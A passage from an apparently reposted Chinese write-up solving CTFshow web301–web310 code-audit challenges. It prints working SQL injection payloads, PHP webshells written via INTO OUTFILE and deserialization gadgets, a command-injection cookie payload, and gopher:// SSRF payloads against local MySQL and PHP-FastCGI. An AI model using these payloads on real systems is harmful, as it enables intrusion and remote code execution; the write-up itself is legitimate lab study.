CTFshow--Web--代码审计

news2024/9/9 0:12:05

目录

web301

web302

web303

web304

web305

web306

web307

web308

web309

web310


web301

开始一个登录框, 下意识sql尝试一下
发现 1' 的时候会到一个 checklogin.php 的路径下, 但啥也没有
好吧, 这是要审计代码的 ,下载好源码, 开始审计

看了一下源码 , 应该就是sql注入了 , 而且还没过滤什么其他的东西

if(!strcasecmp($userpwd,$row['sds_password']))

比较输入的密码和查询到的密码

方法一: union联合查询

使用union 联合查询 ,
-1' union select 123#
查询不到内容, 会在数据库中创建一个数据 123 , 那么这个123就会作为一个返回的数据, 用以跟用户输入的密码进行比较 , 相匹配的话就行登录进去了
所以在 输入框 填上 123
就可以顺利的登录进去了, 直接给了flag

或者使用 盲注的方法 爆出字段内容 得到flag 应该也可以


方法二: 写shell

-1 ' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"#

into outfile 是 MySQL 的一个命令,用于将查询的结果写入到服务器上的一个文件中。

web302

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

题目说这是修改的地方

结合上一道题
 

<?php
function sds_decode($str){
    return md5(md5($str.md5(base64_encode("sds")))."sds");
}

依旧是使用 union 联合注入, 但是 需要自己进行加密一下密码

 -1' union select "d9c77c4e454869d5d8da3b4be79694d3"#
密码为1

登录成功 就可以拿到flag

web303

用户名只能小于6个字符, 不能用之前的方法
在文件里面可以找到两个 提示 说注入点的地方

dpt.php
这是个假的注入点, sql语句里面没有我们可以控制的变量

dptadd.php

但是都存在这几行代码, 如果没登入进去的话, 都会跳转到 login.php

需要账号密码
可以在fun.php里面看到
echo sds_decode('admin')
可以是提示了我们密码是admin

在给的一个sql表中也可以看到 存在admin 账户

所以使用  admin / adimin  登录进去

可以看到 dptadd.php

insert注入:

将select查询到的语句 插入到表中, 然后回显出表中的数据
构造语句
查表:

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

会跳转到dpt.php  回显出数据

查字段名:

dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

查数据:

dpt_name=1',sds_address=(select flag from sds_fl9g)#

报错注入:

查到的数据不完整,可能有长度限制啥的 使用substr函数, 分成两部分查

dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=xxx' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#

web304

增加了全局waf

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但好像没有变化, 继续用上一题的payload就可以

web305

有一个waf, 无法再进行注入了

function sds_waf($str){
    if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
       return false;
    }else{
       return true;
    }
}

还有一个class.php 文件 , 可以进行反序列化

class user{
    public $username;
    public $password;
    public function __construct($u,$p){
       $this->username=$u;
       $this->password=$p;
    }
    public function __destruct(){
       file_put_contents($this->username, $this->password);
    }
}

可以写个文件

<?php
class user{
    public $username;
    public $password;
}
$a = new user();
$a->username = "1.php";
$a->password = "<?php eval($_POST[1]); ?>";
echo urlencode(serialize($a));
//O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3B%7D

蚁剑连接, 然后进入到数据库里面去
相关的账号密码 在 conn.php里面可以找到

web306

class.php中存在 file_put_contents , 需要调用到close() 函数

在dao.php里可以发现调用了close()

在index.php文件中又包含了dao.php,并且存在反序列化函数

构造payload:

<?php

class log{
    public $title='1.php';
    public $info='<?php eval(\$_POST[1]);?>';

}

class dao{
    private $conn;
    public function __construct()
    {
        $this->conn=new log();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
//TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI1OiI8P3BocCBldmFsKFwkX1BPU1RbMV0pOz8+Ijt9fQ==

将payload 放到 session里面去

在访问一下login.php 可以看到都直接登录进去了

访问1.php , 已经是回显200了, 所以应该是写进去了,
但不知道为啥, 蚁剑连不上, 而且执行命令也没反应
应该是写进去了的啊, 直接用其他人的payload放进去, 也是一样的反应,
可能浏览器出啥问题了,暂时不管了

web307

controller/logout.php里面存在一个反序列化的 , 后续应该是要在这个路径下执行
找一下 clearCache()函数的调用

controller/dao/dao.php里面存在一个clearCache(), 可以执行命令, 里面存在参数可控

service/service.php , 也存在 clearCache()的调用, 而且在logout.php里面require了service.php,
service.php又require了/dao/dao.php

构造payload:

<?php

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

class config{
    public $cache_dir = ';echo "<?php eval(\$_POST[1]);?>" >a.php;';

}
$a=new dao();
echo base64_encode(serialize($a));

将payload放到Cookie里面后, 访问controller/logout.php, 就能写入马

在访问controller/a.php 就能执行命令了

web308

在上一题的基础上增加了过滤


但是又多了一个函数 ,

找一下checkUpdate()
很明显的SSRF

在index.php下面 ,能够调用 checkVersion()函数 , 虽然header 头跳转了,但是还是会执行后面的代码

参数update_url也是可控的
题目提示需要拿shell,  mysql也是无密码的
直接 通过gopherus 工具 生成payload
https://github.com/tarunkant/Gopherus

<?php

class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }
}

class config{
    public $update_url ='gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01';

}
$a=new dao();
echo base64_encode(serialize($a));

直接抓包在 index.php 写入Cookie就行, 然后执行生成 2.php

然后访问 2.php,  cmd执行命令

web309

需要拿shell,308的方法不行了,mysql 有密码了

Ctfshow web入门 代码审计篇 web301-web310 详细题解 全_ctfshow web301-CSDN博客
FastCGI攻击需要满足四个条件:

1、PHP版本要高于5.3.3,才能动态修改PHP.INI配置文件
2、知道题目环境中的一个PHP文件的绝对路径
3、PHP-FPM监听在本机9000端口
4、libcurl版本>=7.45.0

向服务端发送请求时,服务端会等待我们发送数据,处于wait状态。最多等几十秒。
gopher协议只会把数据发送过去,不承接任何应用。所以gopher协议访问开放端口时,会"卡住",等待我们传输数据,所以就能探测端口是否开放。
脚本用gopher协议访问,超过两秒(服务端等待数据接收)就判断端口开放,没超时(服务端直接拒绝)就是端口没开放。

21 ftp
22 ssh
80 http
443 https
3389 rdp windows远程桌面
1433 ms-sqlserver 默认端口
3306 mysql 默认端口
6379 redis 默认端口
9000 php-fpm(FastCGI) 默认端口

用之前的poc探测一下端口的开放

<?php

class dao{
    private $config;
    public function __construct(){
    $this->config=new config();
    }
}

class config{
     public $update_url = 'gopher://127.0.0.1:9000';
}

$a= new dao();
echo base64_encode(serialize($a));

?>

探测存在9000端口开放(会一直卡住, 访问其他的也访问不了, 得重新下发容器)
使用Gopherus工具生成攻击FastCGI的payload。

payload:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

web310

第一种方法:

依旧是上一道题的操作, 在使用工具的时候, 命令写入一个shell文件
然后在相应路径下执行命令, flag在 /var/flag/index.html 路径下

第二种方法:

利用file伪协议,读取一下配置文件:

<?php
class config{
    public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
?>

daemon off;

worker_processes  auto;

error_log  /var/log/nginx/error.log warn;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

        location / {
            try_files $uri  $uri/ /index.php?$args;
        }

        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }

    }
    server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

看到 4476端口 存在flag的文件

<?php
class config{
    public $update_url = 'http://127.0.0.1:4476';
}
class dao{
    private $config;
    public function __construct(){
        $this->config=new config();
    }

}
$a=new dao();
echo base64_encode(serialize($a));

CTFSHOW 代码审计篇_ctfshow 源码-CSDN博客
 

Ctfshow web入门 代码审计篇 web301-web310 详细题解 全_ctfshow web301-CSDN博客


CTFshow刷题日记-WEB-代码审计(web301-310)SQL注入、SSRF打MySQL、SSRF打FastCGI、SSRF文件读取_ctfshow web303-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1958256.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

thinkPHP开发的彩漂网站源码,含pc端和手机端

源码简介 后台thinkPHP架构,页面程序双分离,Mysql数据库严谨数据结构、多重数据审核机制、出票机制和监控机制,html5前端技术适用移动端,后台逻辑更多以server接口可快捷实现对接pc和ap,下载会有少量图片素材丢失,附件有下载说明前端demo账户密码和后台管理地址管理员账户密码…

c++修炼之路之二叉搜索树

目录 前言 一&#xff1a;二叉搜索树的介绍 二&#xff1a;二叉搜索树的实现 1.查找 2.insert(插入) 3.erase(删除) 4.析构函数 5.拷贝构造 6.赋值重载 7.插入&#xff0c;删除&#xff0c;查找的递归版本 三&#xff1a;二叉搜索树的应用 四&#xff1a;二叉搜索…

精灵图的使用——网页制作技巧

把许多小图标集中在一张背景透明的图片上&#xff0c;这种图片叫做精灵图&#xff0c;如下图。 在线工具地址&#xff1a;http://www.spritecow.com/ 通过工具可以快速找到图标在精灵图上的坐标位置。 首先&#xff0c;我们打开工具地址&#xff0c;点击第一个按钮。 点击后&am…

LeetCode 算法:搜索二维矩阵 c++

原题链接&#x1f517;&#xff1a;搜索二维矩阵 难度&#xff1a;中等⭐️⭐️ 题目 给你一个满足下述两条属性的 m x n 整数矩阵&#xff1a; 每行中的整数从左到右按非严格递增顺序排列。每行的第一个整数大于前一行的最后一个整数。给你一个整数 target &#xff0c;如果…

实战:ZooKeeper 操作命令和集群部署

ZooKeeper 操作命令 ZooKeeper的操作命令主要用于对ZooKeeper服务中的节点进行创建、查看、修改和删除等操作。以下是一些常用的ZooKeeper操作命令及其说明&#xff1a; 一、启动与连接 启动ZooKeeper服务器&#xff1a; ./zkServer.sh start这个命令用于启动ZooKeeper服务器…

手搓排序算法:插入排序、选择排序

文章目录 插入排序直接插入排序希尔排序内层循环时间复杂度计算 选择排序直接选择排序优化 堆排序 插入排序 直接插入排序 时间复杂度最差&#xff1a;大的数据都在左边&#xff0c;小的数据在右边&#xff0c;随着有序区间增大&#xff0c;交换次数增多 时间复杂度最优&…

C#知识|文本文件操作:删除、复制、移动文件的操作

哈喽,你好啊,我是雷工! 接下来学习文件的删除和复制,实际应用场景,当软件具有自动在线更新功能时,需要先检测服务器是否具有更新版本的安装包,如果有的话需要将其复制到本地进行升级安装,如果有勾选自动清理安装包功能的话,还可以将安装包删除。 01 删除文件 实现功能…

使用MultipartFile来上传单个及多个文件代码示例(前端传参数及后端接收)

背景 前端使用vue或vue+vant上传文件 后端java接收MultipartFile和其他参数 一、MultipartFile上传单个文件代码示例 1.1 MultipartFile上传单个文件,不包含其它参数 1.1.1 控制层代码如下: /*** 1、上传单个文件,不包含其它参数* */ @PostMapping( "/upload")…

docker 建木 发版 (详细教程)

先创建git仓库 Git勤勉 两种方式上传-CSDN博客 把项目送上去 进入建木 可以接着这个来 dockerfile部署镜像 -&#xff1e;push仓库 -&#xff1e;虚拟机安装建木 -&#xff1e;自动部署化 (详细步骤)-CSDN博客 创建分组项目 开始操作 git 上钩子 前面链接里有这个教…

MobaXterm tmux 配置妥当

一、事出有因 缘由&#xff1a;接上篇文章&#xff0c;用Docker搭建pwn环境后&#xff0c;用之前学过的多窗口tmux进行调试程序&#xff0c;但是鼠标滚动的效果不按预期上下翻屏。全网搜索很难找到有效解决办法&#xff0c;最后还是找到了一篇英文文章&#xff0c;解决了&…

upload-labs靶场练习

文件上传函数的常见函数&#xff1a; 在PHP中&#xff0c;‌文件上传涉及的主要函数包括move_uploaded_file(), is_uploaded_file(), get_file_extension(), 和 mkdir()。‌这些函数共同协作&#xff0c;‌使得用户可以通过HTTP POST方法上传文件&#xff0c;‌并在服务器上保存…

浅谈C语言整型类数据在内存中的存储

1、整型类数据 C语言中的整型类数据都归类在整型家族中&#xff0c;其中包括&#xff1a;char、short、int、long、long long这5个大类&#xff0c;而每个大类中又分为两类signed和unsigned,这些都是C语言中的内置类型。以下重点基于char和int这两种类型的数据进行阐述&#x…

妈吖,看过这个大厂的oracle主键自增,我的信心暴增!信创,国产数据库也能行。

创作不易 只因热爱!! 热衷分享&#xff0c;一起成长! “你的鼓励就是我努力付出的动力” 1.数据库oracle自增主键字段思维导图 在Oracle数据库中&#xff0c;可以通过创建序列&#xff08;SEQUENCE&#xff09;来实现自增功能。但也可以不在数据库中实现&#xff0c;而是通过程…

Sequential的使用

卷积前后尺寸不变的 Padding值计算&#xff1a; padding &#xff08;卷积核尺寸-1&#xff09;/2 Sequential 可以简化代码&#xff1a; def __init__(self):super(Tudui, self).__init__()self.model1 Sequential(Conv2d(3, 32, 5, padding2),MaxPool2d(2),Conv2d(32, 32…

ctfshow web入门 CMS web477--web479

web477 CMSEazy5.7 不让扫&#xff0c;那就尝试一下admin路由&#xff0c;成功了 admin登录进入后台 也看到了其实 首页可以看到提示 然后去自定义标签打 1111111111";}<?php phpinfo()?>刷新一下预览即可 11";}<?php assert($_POST[g]);?>也可…

Git和TortoiseGit的安装与使用

文章目录 前言一、Git安装步骤查看版本信息 二、TortoiseGit安装中文语言包TortoiseGit 配置不同语言 Git基本原理介绍及常用指令 GitLab添加TortoiseGIT生成SSH Key 前言 Git 提供了一种有效的方式来管理项目的版本&#xff0c;协作开发&#xff0c;以及跟踪和应用文件的变化…

【FPGA设计】千兆以太网

一. OSI 七层模型 OSI&#xff08;Open Systems Interconnection&#xff09;七层模型是由国际标准化组织&#xff08;ISO&#xff09;制定的一个概念模型&#xff0c;用于描述网络中各部分如何通信。这个模型将网络通信分解为七个不同的层次&#xff0c;每一层都有特定的功能…

嵌入式学习Day14---C语言进阶

目录 一、构造类型 1.1.结构体 1.存储 2.输入输出&#xff08;传参&#xff09; 3.结构体数组 1.2.共同体&#xff08;联合体&#xff09; 1.格式 2.存储 3.测试一个平台是打端还是小端 1.3.枚举 1.格式 2.特点 二、位运算&#xff08;操作二进制&#xff09; 2.1.&a…

研究人员在进行文献综述时可能面临哪些挑战以及如何解决这些挑战

VersaBot一键生成文献综述 对于研究人员来说&#xff0c;进行全面的文献综述可能是一种丰富但具有挑战性的经历。以下是一些常见的障碍以及如何克服这些障碍的技巧&#xff1a; 挑战 1. 信息过载&#xff1a; 已有大量已发表的研究成果&#xff0c;识别、选择和管理相关来源…

学到了一种新的技巧

1、通过erase删除方向&#xff0c;让原本很复杂的代码变得简洁。 2、通过return两个不同类型的答案&#xff0c;使得代码量变得更少。 3、通过bfs将状态转移给后面。 4、这种集成的技巧&#xff0c;根据相同点把不同类的代码组合成一个函数&#xff0c;这种技巧是需要学习的…